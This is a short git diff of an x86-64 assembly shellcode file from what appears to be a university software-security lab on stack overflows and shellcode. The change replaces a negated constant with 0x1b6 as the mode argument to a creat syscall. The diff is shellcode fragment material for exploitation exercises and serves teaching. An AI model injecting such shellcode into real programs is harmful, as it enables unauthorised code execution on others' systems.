diff --git a/content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/shellcode.S b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/shellcode.S
index dc90d04..1c771d2 100644
--- a/content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/shellcode.S
+++ b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/shellcode.S
@@ -8,10 +8,9 @@ p:
     xorq %rdi, %rdi
     pop %rdi
     #shr $0x8, %rdi
-    push $0xfffffffffffffd66
+    push $0x1b6
     xor %rsi, %rsi
     pop %rsi
-    neg %rsi
     push $85
     pop %rax
     syscall